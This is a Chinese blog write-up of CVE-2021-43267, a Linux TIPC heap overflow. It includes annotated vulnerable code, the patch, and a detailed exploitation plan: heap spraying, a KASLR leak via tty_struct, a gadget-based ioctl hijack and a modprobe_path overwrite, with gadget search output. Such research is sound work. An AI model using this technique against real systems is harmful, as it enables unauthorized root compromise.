影响版本:Linux v5.10-rc1 ~ v5.14.15。v5.14.16已修补。高危,可导致远程提权,评分9.8。 默认不加载,需用户配置。
测试版本:Linux-5.14.15 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项: 配置所有**TIPC**
选项,CONFIG_TIPC=y;**NETLINK**
选项。
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
exp原作者关闭了 CONFIG_SLAB_FREELIST_RANDOM
和 CONFIG_SLAB_FREELIST_HARDENED
,难怪我的测试总是不能成功。如何在有CONFIG_SLAB_FREELIST_HARDENED
保护的情况下提高利用成功率呢?
# 安装 pahole, 否则 CONFIG_DEBUG_INFO_BTF 不成功。 但是安装完后还是报错,所以修改.config 中 CONFIG_DEBUG_INFO_BTF=n 来关闭BTF。
$ git clone https://git.kernel.org/pub/scm/devel/pahole/pahole.git/
$ cd pahole
$ mkcd build
$ sudo apt-get install cmake libdw-dev zlib1g zlib1g-dev libelf-dev dwarves
$ cmake -D__LIB=lib ..
$ sudo make install
$ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system bison flex libncurses5-dev libelf-dev
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.14.15.tar.xz
$ tar -xvf linux-5.14.15.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
# 问题:make[1]: *** No rule to make target 'debian/canonical-certs.pem'
# 解决:修改 .config, 将 CONFIG_SYSTEM_TRUSTED_KEYS 和 CONFIG_SYSTEM_REVOCATION_KEYS 置空即可
# CONFIG_DEBUG_INFO_BTF=n
漏洞描述:漏洞位于 net/tipc/crypto.c
文件,TIPC(Transparent Inter-Process Communication)集群内通信协议中对 MSG_CRYPTO
类型的消息长度验证出错,导致堆溢出。tipc_crypto_key_rcv() 函数中,TIPC消息(tipc_msg结构)的数据部分指向MSG_CRYPTO
消息(tipc_aead_key结构),在分配tipc_aead_key
空间并拷贝 tipc_aead_key->key
时,未校验tipc_aead_key->keylen
的有效性,导致拷贝越界。只对TIPC消息的 header size
和 msg size
进行检查,却没有对 MSG_CRYPTO
消息的tipc_aead_key->keylen
进行检查。
补丁:patch 在拷贝 MSG_CRYPTO
消息之前检查 keylen 和 size。
net/tipc/crypto.c | 32 +++++++++++++++++++++-----------
1 file changed, 21 insertions(+), 11 deletions(-)
diff --git a/net/tipc/crypto.c b/net/tipc/crypto.c
index c9391d38d..dc60c32bb 100644
--- a/net/tipc/crypto.c
+++ b/net/tipc/crypto.c
@@ -2285,43 +2285,53 @@ static bool tipc_crypto_key_rcv(struct tipc_crypto *rx, struct tipc_msg *hdr)
u16 key_gen = msg_key_gen(hdr);
u16 size = msg_data_sz(hdr);
u8 *data = msg_data(hdr);
+ unsigned int keylen;
+
+ /* Verify whether the size can exist in the packet */
+ if (unlikely(size < sizeof(struct tipc_aead_key) + TIPC_AEAD_KEYLEN_MIN)) {
+ pr_debug("%s: message data size is too small\n", rx->name);
+ goto exit;
+ }
+
+ keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME)));
+
+ /* Verify the supplied size values */
+ if (unlikely(size != keylen + sizeof(struct tipc_aead_key) ||
+ keylen > TIPC_AEAD_KEY_SIZE_MAX)) {
+ pr_debug("%s: invalid MSG_CRYPTO key size\n", rx->name);
+ goto exit;
+ }
spin_lock(&rx->lock);
if (unlikely(rx->skey || (key_gen == rx->key_gen && rx->key.keys))) {
pr_err("%s: key existed <%p>, gen %d vs %d\n", rx->name,
rx->skey, key_gen, rx->key_gen);
- goto exit;
+ goto exit_unlock;
}
/* Allocate memory for the key */
skey = kmalloc(size, GFP_ATOMIC);
if (unlikely(!skey)) {
pr_err("%s: unable to allocate memory for skey\n", rx->name);
- goto exit;
+ goto exit_unlock;
}
/* Copy key from msg data */
- skey->keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME)));
+ skey->keylen = keylen;
memcpy(skey->alg_name, data, TIPC_AEAD_ALG_NAME);
memcpy(skey->key, data + TIPC_AEAD_ALG_NAME + sizeof(__be32),
skey->keylen);
- /* Sanity check */
- if (unlikely(size != tipc_aead_key_size(skey))) {
- kfree(skey);
- skey = NULL;
- goto exit;
- }
-
rx->key_gen = key_gen;
rx->skey_mode = msg_key_mode(hdr);
rx->skey = skey;
rx->nokey = 0;
mb(); /* for nokey flag */
- exit:
+ exit_unlock:
spin_unlock(&rx->lock);
+ exit:
/* Schedule the key attaching on this crypto */
if (likely(skey && queue_delayed_work(tx->wq, &rx->work, 0)))
return true;
保护机制:SMEP / SMAP / KASLR / KPTI
利用总结:
- (1)使用netlink来使能
UDP bearer media
; - (2)创建有效的node link: 发送
LINK_CONFIG
/LINK_PROTOCOL
/LINK_PROTOCOL
包; - (3)创建
/tmp/benign
错误elf文件, 触发modprobe; 创建/tmp/hax
提权文件,modprobe_path
将指向"/tmp/hax"
; - (4)堆喷布置2048个
msg_msg
消息, 释放偶数下标的msg_msg
; - (5)触发tipc漏洞,泄露内核基址;
- (5-1)触发 tipc 漏洞, 篡改
msg_msg->m_ts
; - (5-2)喷射 0x40 个
tty_struct
结构,便于越界读泄露; - (5-3)
msg_msg
越界读泄露tty_struct->ops
和tty_struct->ldisc_sem->read_wait->next
(若读取到tty_struct->magic
也即0x5401,则表示泄露成功);
- (5-1)触发 tipc 漏洞, 篡改
- (6)篡改
tty_struct->ops.ioctl
指针, 并篡改modprobe_path
为"/tmp/hax"
;- (6-1)
msg_msg
消息偏移0x60处放置gadgetmov qword ptr [rdx], rsi
地址(伪造tty_operations->ioctl
指针),喷射2048个这样的msg_msg
; - (6-2)篡改
tty_struct->ops
指针,指向某个msg_msg
的消息开头; - (6-3)调用
ioctl
触发任意写gadget,篡改modprobe_path
为"/tmp/hax"
;
- (6-1)
- (7)执行
/tmp/hax
触发modprobe并提权。
1. 漏洞分析
1-1. TIPC协议介绍
简介:TIPC(Transparent Inter Process Communication)是一种专为集群内通信而设计的协议。消息传递是顺序保证、无丢失和流控制的。延迟时间比任何其他已知协议都短,而最大吞吐量可与 TCP 相媲美。
配置:默认不加载,需用户来加载。加载时,TPIC可以用作socket并可以用Netlink接口来配置,它可以配置为通过 UDP 或直接通过Ethernet以太网传输消息。但是低权限的用户无法创建Ethernet帧,所以使用UDP更容易实现本地漏洞利用。
协议头:虽然TIPC是在这些协议之上运行的,但有独立的地址方案,节点可以选择自己的地址。所有的消息构造和分析都是在kernel中进行的。每个TIPC消息都有相同的通用header格式和消息特定的header,TIPC消息(tipc_msg
结构)存储地址位于sk_buff->data
指向的线性数据区。对该漏洞来说,通用header最重要的部分是Header Size
和 message size
。
TIPC消息的header如下所示:
tipc_msg_validate() 函数负责验证这两个size的大小。 调用路径 —— tipc_rcv() -> tipc_msg_validate()
bool tipc_msg_validate(struct sk_buff **_skb)
{
struct sk_buff *skb = *_skb;
struct tipc_msg *hdr;
int msz, hsz;
/* Ensure that flow control ratio condition is satisfied */
if (unlikely(skb->truesize / buf_roundup_len(skb) >= 4)) {
skb = skb_copy_expand(skb, BUF_HEADROOM, 0, GFP_ATOMIC);
if (!skb)
return false;
kfree_skb(*_skb);
*_skb = skb;
}
if (unlikely(TIPC_SKB_CB(skb)->validated))
return true;
if (unlikely(!pskb_may_pull(skb, MIN_H_SIZE)))
return false;
hsz = msg_hdr_sz(buf_msg(skb)); // <------ [1-1] header size buf_msg(skb) 返回 skb->data指针(存储数据包的内容和各层协议头, 这里是tipc_msg结构, 参考CVE-2017-6074对sk_buff的分析); msg_hdr_sz() 取 hsz = (tipc_msg->hdr[0]>>21 & 0xf) << 2, 注意乘了4
if (unlikely(hsz < MIN_H_SIZE) || (hsz > MAX_H_SIZE)) // 满足 hsz 在 24~60 之间
return false;
if (unlikely(!pskb_may_pull(skb, hsz)))
return false;
hdr = buf_msg(skb);
if (unlikely(msg_version(hdr) != TIPC_VERSION))
return false;
msz = msg_size(hdr); // <------ [1-2] msg size msg_size() 取 msz = tipc_msg->hdr[0] & 0x1fff
if (unlikely(msz < hsz))
return false;
if (unlikely((msz - hsz) > TIPC_MAX_USER_MSG_SIZE)) // 满足 msz-hsz<66000
return false;
if (unlikely(skb->len < msz)) // [1-3] // 满足 skb->len > msz; 注意skb->len表示数据区的总长度: (tail - data) + 分片结构体数据区的长度
return false;
TIPC_SKB_CB(skb)->validated = 1;
return true;
}
// TIPC 消息结构
struct tipc_msg {
__be32 hdr[15];
};
static inline u32 msg_hdr_sz(struct tipc_msg *m)
{
return msg_bits(m, 0, 21, 0xf) << 2;
}
static inline struct tipc_msg *buf_msg(struct sk_buff *skb)
{
return (struct tipc_msg *)skb->data;
}
TIPC消息头检查总结:
-
[1-2]
处 —— TIPC消息的hsz
–header size
在 24~60 字节之间; -
[1-2]
处 ——msz
–msg size
满足skb->len > msz
(注意skb->len
表示数据区的总长度:(tail – data) + 分片结构体数据区的长度)。
1-2. 漏洞分析
MSG_CRYPTO
消息结构:2020年9月引入了一个新的用户消息类型—— MSG_CRYPTO
,该消息类型允许节点发送加密的秘钥。该消息结构如下所示:tipc_aead_key MSG_CRYPTO
消息跟在TIPC消息头之后(偏移24处开始)。
#define TIPC_AEAD_ALG_NAME (32)
struct tipc_aead_key {
char alg_name[TIPC_AEAD_ALG_NAME]; // TIPC_AEAD_ALG_NAME 32
unsigned int keylen; /* in bytes */
char key[];
};
MSG_CRYPTO
消息处理:消息接收后,TIPC kernel模块需要复制该信息到该节点来存储:tipc_crypto_key_rcv()
调用路径:(struct tipc_media udp_media_inf -> tipc_udp_enable() -> tipc_udp_recv()) | tipc_l2_rcv_msg() -> tipc_rcv() -> tipc_link_rcv() -> tipc_link_input() -> tipc_data_input() -> tipc_crypto_msg_rcv() -> tipc_crypto_key_rcv()
static bool tipc_crypto_key_rcv(struct tipc_crypto *rx, struct tipc_msg *hdr)
{
struct tipc_crypto *tx = tipc_net(rx->net)->crypto_tx;
struct tipc_aead_key *skey = NULL;
u16 key_gen = msg_key_gen(hdr);
u16 size = msg_data_sz(hdr); // [2-1] size = msg_size(m) - msg_hdr_sz(m) = msz - hsz
u8 *data = msg_data(hdr); // data = *hdr + hsz MSG_CRYPTO消息的拷贝起始地址,也即 tipc_aead_key 结构的起始地址
spin_lock(&rx->lock);
if (unlikely(rx->skey || (key_gen == rx->key_gen && rx->key.keys))) {
pr_err("%s: key existed <%p>, gen %d vs %d\n", rx->name,
rx->skey, key_gen, rx->key_gen);
goto exit;
}
/* Allocate memory for the key */
skey = kmalloc(size, GFP_ATOMIC); // [2-2] 分配空间,分配的 size = msg - hsz, 而 msz 和 hsz 都来自 TIPC 消息 (tipc_msg 结构)
if (unlikely(!skey)) {
pr_err("%s: unable to allocate memory for skey\n", rx->name);
goto exit;
}
/* Copy key from msg data */
skey->keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME))); // [2-3] 拷贝长度 skey->keylen 来自偏移 *(*data+32), 未对该值进行范围检查
memcpy(skey->alg_name, data, TIPC_AEAD_ALG_NAME); // [2-4] 拷贝算法名称, TIPC_AEAD_ALG_NAME = 32字节
memcpy(skey->key, data + TIPC_AEAD_ALG_NAME + sizeof(__be32), // [2-5] 拷贝密钥, 越界
skey->keylen);
/* Sanity check */
if (unlikely(size != tipc_aead_key_size(skey))) { // [2-6] 必须满足 size == sizeof(*skey) + skey->keylen, 这个检查已经晚了, 溢出已经发生了!!!!!
kfree(skey);
skey = NULL;
goto exit;
}
rx->key_gen = key_gen;
rx->skey_mode = msg_key_mode(hdr);
rx->skey = skey;
rx->nokey = 0;
mb(); /* for nokey flag */
exit:
spin_unlock(&rx->lock);
/* Schedule the key attaching on this crypto */
if (likely(skey && queue_delayed_work(tx->wq, &rx->work, 0)))
return true;
return false;
}
MSG_CRYPTO
消息处理漏洞总结:TIPC消息(tipc_msg结构)的数据部分指向MSG_CRYPTO
消息(tipc_aead_key结构),在分配tipc_aead_key
空间并拷贝 tipc_aead_key->key
时,未校验tipc_aead_key->keylen
的有效性,导致拷贝越界。拷贝越界之后才检查keylen的有效性,为时已晚——[2-6]
。只对TIPC消息的 header size
和 msg size
进行检查,却没有对 MSG_CRYPTO
消息的tipc_aead_key->keylen
进行检查。
利用思路:攻击者可以创建一个tipc_msg->size
较小的TIPC消息来分配堆内存,再设置tipc_aead_key->keylen
较大的MSG_CRYPTO
消息来触发越界写,触发漏洞的 MSG_CRYPTO
消息示例如下:
2. 触发漏洞
2-1. 交互方式
shell交互:编译时开启TIPC或者加载TIPC模块后,可通过shell来与TIPC交互,采用iproute2
中的tipc
命令(可以采用buildroot来编译文件系统,开启iproute2选项后,文件系统中就含有tipc命令)。使能UDP bearer media
的具体命令是tipc bearer enable media udp name <NAME> localip <SOMELOCALIP>
。
code交互:用户层可以使用netlink消息(AF_TIPC
地址族)来使能UDP bearer media
,非特权用户也可以。所以即使没有配置TIPC,也能完成利用。
2-2. 到达漏洞点
思路:首先我们要使自己成为一个有效的node,并创建一个link,接着触发MSG_CRYPTO
代码路径。参考TIPC的protocol specification页面,可以了解传输、寻址、数据分片的细节。
方法:exp作者通过PCAP抓包分析tipc-over-udp session
建立的过程,最后确定了我们发送消息前必发的几个包。总的来说,一个正常的TIPC数据包前面包含一个header,也即6个32字节(大端序),我们标记为w0~w5。w0编码了TIPC版本、header size、payload size、message protocol,还有个flag表示是否为顺序消息;w1表示协议消息的类型;w3包含一个node_id
,表示node的标识符,一般用IPv4地址表示node_id
。可通过net/tipc/msg.h
文件来了解header格式。
创建有效node link过程:发送3个包。
-
LINK_CONFIG
包会广告自己; -
LINK_PROTOCOL
包(RESET_MSG
消息类型)会重置link; -
LINK_PROTOCOL
包(STATE_MSG
消息类型)会提出link; - 现在可以发送
MSG_CRYPTO
TIPC 包来触发堆溢出。
protocol: LINK_CONFIG -> message type: DSC_REQ_MSG
protocol: LINK_PROTOCOL -> message type: RESET_MSG
protocol: LINK_PROTOCOL -> message type: STATE_MSG
2-3. 触发漏洞
方法:前面已经分析过,MSG_CRYPTO
消息的堆块分配的size来自 tipc_msg->msz - tipc_msg->hsz
,MSG_CRYPTO
消息的拷贝的size来自 tipc_aead_key->keylen
。所以通过控制 tipc_msg->msz
即可控制目标堆块的分配大小,控制 tipc_aead_key->keylen
即可控制堆块的溢出长度。
// TIPC 消息: (&tipc_msg + tipc_msg->hsz) 指向 MSG_CRYPTO 消息
struct tipc_msg {
__be32 hdr[15];
};
// MSG_CRYPTO 消息
struct tipc_aead_key {
char alg_name[TIPC_AEAD_ALG_NAME];
unsigned int keylen;
char key[];
};
TIPC消息布置如下:注意hsz的大小需左移2位,也即乘以4。tipc消息 = tipc_msg
+ tipc_aead_key
。
3. 绕过KALSR
泄露对象:采用ELOISE提出的Elastic Objects
,例如CVE-2021-22555中也用到过的msg_msg
。篡改msg_msg->m_ts
就能调用 msgrcv
进行OOB读。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
问题:覆写msg_msg->m_ts
的同时也会覆盖msg_msg->m_list
,调用msgrcv
时会将匹配的消息从链表中unlink,如果不正确构造msg_msg->m_list
就会导致访问崩溃。解决办法是在调用msgrcv
时传递MSG_COPY
flag,避免对目标消息进行unlink。
思路:在空间上布置出 msg_msg
-> msg_msg
-> interesting_object
,然后释放第1个msg_msg
,分配MSG_CRYPTO
key堆块占据第1个msg_msg
,再利用MSG_CRYPTO
key的溢出来篡改第2个msg_msg
的msg_msg->m_ts
,越界读取 interesting_object
来泄露内核函数指针。
victim对象:interesting_object
选取 tty_struct
,我们可以通过magic
值来确认我们泄露的结构是否为有效的tty_struct
(预期值为TTY_MAGIC
-0x5401),struct tty_operations *ops
指向内核的.data
段中某处,也即 tty_operations,可泄露内核基址,绕过KASLR。
泄露内核基址:泄露的tty_struct
可能属于master pty
或slave pty
,所以泄露的地址可能是 ptm_unix98_ops
或 pty_unix98_ops
。
泄露堆地址:泄露 tty_struct
也能获得 tty_struct
的地址,因为 tty_struct->ldisc_sem->read_wait->next
指向 next
指针自身。tty_struct->ldisc_sem->read_wait->next
的偏移为0x38,减去0x408就是msg_msg
数据部分的基址。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...
}
堆喷布局如下:
4. 提权
劫持RIP:劫持tty_operations
。首先喷射一堆fake tty_operations
,然后根据上一步释放的堆指针来猜测其中一个fake tty_operations
的地址。
- 重复分配
msg_msg
、分配tty_struct
、释放msg_msg
、触发TIPC漏洞来覆盖tty_struct
; - 为了确认是否成功覆盖
tty_struct
,可以尝试通过ioctl来调用tty_struct.ops.ioctl
,如果成功劫持ops
指针,就能控制RIP,否则调用close()
关闭pty。
任意写ROP:构造ROP链很难恢复现场,所以决定采用一条gadget来进行任意写。ioctl调用的原型为int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg)
,可控制32位的cmd
和64位的arg
参数,也就是RSI
和RDX
。任意写的gadget如下所示:本gadget还能将rax
清零,便于判断是否成功伪造tty_operations
并劫持RIP。
$ objdump -D -j .text ./vmlinux_small \
| grep -C1 'mov %rsi,(%rdx)' \
| grep -B2 ret
..
ffffffff812c51f5: 31 c0 xor %eax,%eax
ffffffff812c51f7: 48 89 32 mov %rsi,(%rdx)
ffffffff812c51fa: c3 ret
..
提权:传统方法是构造任意读和任意写来篡改cred,本文未采用这种方法。本文篡改modprobe_path
(特权用户可以通过/proc/sys/kernel/modprobe
来篡改)来执行恶意程序。如果执行一个magic值未知的binary,request_module
最后会调用call_modprobe
来发起一个基于modprobe_path
的modprobe进程。
/*
* cycle the list of binary formats handler, until one recognizes the image
*/
static int search_binary_handler(struct linux_binprm *bprm)
{
..
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
..
}
堆喷布局如下:
5. 改进exp
问题:exp作者编译的内核版本是 5.15.0,能够找到含 xor eax, eax
(能反映执行是否成功)和 mov dword ptr [rdx], rsi
的gadget,但我编译的5.14.15版本内核不含该gadget。
解决:gadget中不需要含有 xor eax, eax
也能成功提权,见 exp1.c
。成功提权截图如下:
尝试别的gadget:全部尝试都失败,看来目前只能修改 modprobe_path
了。exp原作者修改 modprobe_path
的方式非常好,如果通过rop链来修改modprobe_path
的话,还需要保存现场,无法保存rsp原先的值,因为不能用xchg rsp, xxx
这样的gadget。
// 首先执行到ioctl(), 发现 $rdi / $rbp / $r15 指向tty_struct, 可控
// (1) mov rsp, rdi/rbp/r15 没找到
// (2) mov rsp, qword ptr [rdi/rbp/r15 没找到
// (3) bridging gadget: regcache_mark_dirty(), 但是找不到 mov cr4, rdi
void regcache_mark_dirty(struct regmap *map)
{
map->lock(map->lock_arg);
map->cache_dirty = true;
map->no_sync_defaults = true;
map->unlock(map->lock_arg);
}
EXPORT_SYMBOL_GPL(regcache_mark_dirty);
// (4) push rdi/rbp/r15 pop rsp 不能破坏tty_struct前8字节(会导致ioctl调用失败),所以pop rsp之后再pop两次
john@ubuntu:~/Desktop/tmp/CVE-2021-43267/file$ cat ./g1 | grep "push rdi" | grep "pop rsp"
0xffffffff8165f1aa: push rdi; add byte ptr [rdi], cl; or ebx, dword ptr [rbx + 0x41]; pop rsp; ret;
0xffffffff814a353a: push rdi; add ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
john@ubuntu:~/Desktop/tmp/CVE-2021-43267/file$ cat ./g1 | grep "push rbp" | grep "pop rsp"
0xffffffff81131122: push rbp; add byte ptr [rbp + 0x41], bl; pop rsp; pop r13; ret;
0xffffffff81aa41e4: push rbp; add byte ptr [rbp + 0x41], bl; pop rsp; ret;
0xffffffff819ea4df: push rbp; cmp byte ptr [rbp + 0x41], bl; pop rsp; pop r13; pop r14; ret;
0xffffffff810406a6: push rbp; or byte ptr [rbp + 0x41], bl; pop rsp; ret;
// (4) 的问题是找不到 mov cr4, xxx 这个gadget, 从 v5.3.1开始 就不能使用 native_write_cr4() 来修改 cr4 了
// v5.14.15
static const unsigned long cr4_pinned_mask =
X86_CR4_SMEP | X86_CR4_SMAP | X86_CR4_UMIP | X86_CR4_FSGSBASE;
void native_write_cr4(unsigned long val)
{
unsigned long bits_changed = 0;
set_register:
asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");
if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
goto set_register;
}
/* Warn after we've corrected the changed bits. */
WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}
// v5.2.21
static inline void native_write_cr4(unsigned long val)
{
asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}
参考
Exploiting CVE-2021-43267 — 漏洞利用者
CVE-2021-43267: Linux TIPC模块任意代码执行漏洞
CVE-2021-43267: Remote Linux Kernel Heap Overflow | TIPC Module Allows Arbitrary Code Execution — 漏洞发现者
发表评论
您还未登录,请先登录。
登录